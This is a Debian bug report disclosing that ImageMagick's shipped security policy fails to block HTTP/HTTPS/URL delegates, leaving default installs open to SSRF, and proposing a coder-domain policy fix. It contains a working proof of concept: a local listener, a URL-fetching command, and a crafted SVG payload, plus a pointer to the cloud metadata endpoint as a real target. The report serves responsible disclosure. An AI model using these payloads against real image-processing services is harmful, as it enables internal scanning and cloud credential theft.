Package: imagemagick
Version: 8:7.1.2.15+dfsg1-2
Severity: grave
Tags: security patch
Dear Maintainer,
The default ImageMagick security policy shipped by Debian in
debian/patches/0005-Add-a-debian-policy.patch
(installed as /etc/ImageMagick-7/policy.xml) attempts to block remote
HTTP/HTTPS/URL access -- the standard SSRF mitigation -- with these rules:
<policy domain="delegate" rights="none" pattern="URL" />
<policy domain="delegate" rights="none" pattern="HTTPS" />
<policy domain="delegate" rights="none" pattern="HTTP" />
These rules are silently ineffective, so a default install still performs
outbound HTTP/HTTPS requests and is vulnerable to SSRF (CWE-918).
Root cause
----------
The http:/https: coders fetch URLs by invoking delegates named
"http:decode" / "https:decode" (coders/url.c). InvokeDelegate()
(MagickCore/delegate.c) enforces the "delegate" policy by glob-matching
the policy pattern against that full identifier string. The pattern
"HTTP" (no wildcards) does not match the literal string "http:decode",
so the rule is treated as inapplicable and the default (allow) wins.
The patterns "HTTP", "HTTPS" and "URL" therefore never block the URL
coders.
The "@*" path rule in the same file is enforced through a different code
path and does work, which gives operators false confidence that the
HTTP/HTTPS/URL restriction is also working.
Proof of concept
----------------
All commands run against the unmodified, as-installed policy.xml.
1. Minimal listener:
python3 -c 'import http.server,socketserver
class H(http.server.BaseHTTPRequestHandler):
def do_GET(s): print("SSRF:",s.path); s.send_response(200);
s.end_headers(); s.wfile.write(b"GIF89a;")
def log_message(s,*a): pass
socketserver.TCPServer(("127.0.0.1",7777),H).serve_forever()'
2. Confirm the restrictive policy is active (this is correctly blocked):
echo x > /tmp/q.txt
magick label:@/tmp/q.txt /tmp/q.png
-> magick: attempt to perform an operation not allowed by the
security policy `@/tmp/q.txt'
3. PoC 1 -- direct URL coder:
magick http://127.0.0.1:7777/ssrf out.png
-> listener logs: SSRF: /ssrf
4. PoC 2 -- SSRF via untrusted SVG (the realistic web-service vector):
printf '<svg xmlns:xlink="http://www.w3.org/1999/xlink" width="10"
height="10"><image xlink:href="http://127.0.0.1:7777/svg-ssrf" width="10"
height="10"/></svg>' > evil.svg
magick evil.svg out.png
-> listener logs: SSRF: /svg-ssrf
Both requests are sent despite the delegate rights="none" rules.
Substituting a real internal target (e.g.
http://169.254.169.254/latest/meta-data/) demonstrates real impact.
Impact
------
A service that thumbnails or converts user-supplied SVG (or URL) input
with ImageMagick can be coerced into attacker-controlled server-side
requests to internal services or cloud metadata endpoints, enabling
credential theft and internal port/host scanning. The exposure is worse
because operators believe they are protected: they deployed a policy
that explicitly lists HTTP, HTTPS and URL as forbidden.
Suggested fix
-------------
Replace the ineffective delegate rules with the coder-domain form, which
is enforced and covers every remote scheme:
<policy domain="coder" rights="none"
pattern="{HTTP,HTTPS,FTP,FTPS,URL,MSL,MVG}" />
(keeping the existing @* path rule). Verify with:
magick http://127.0.0.1:1/x x.png
which must be rejected by policy, not merely fail to connect.
Bastien Rouccaries has already prepared a fix; a CVE request is in
progress. I am filing here at the request of the Debian Security Team so
the fix is tracked in the BTS.
Tested on imagemagick 8:7.1.2.15+dfsg1-2; applies generally to the
ImageMagick 7.x series.
Regards,
Maram Sai Harsha Vardhan Reddy
Security Researcher
[email protected]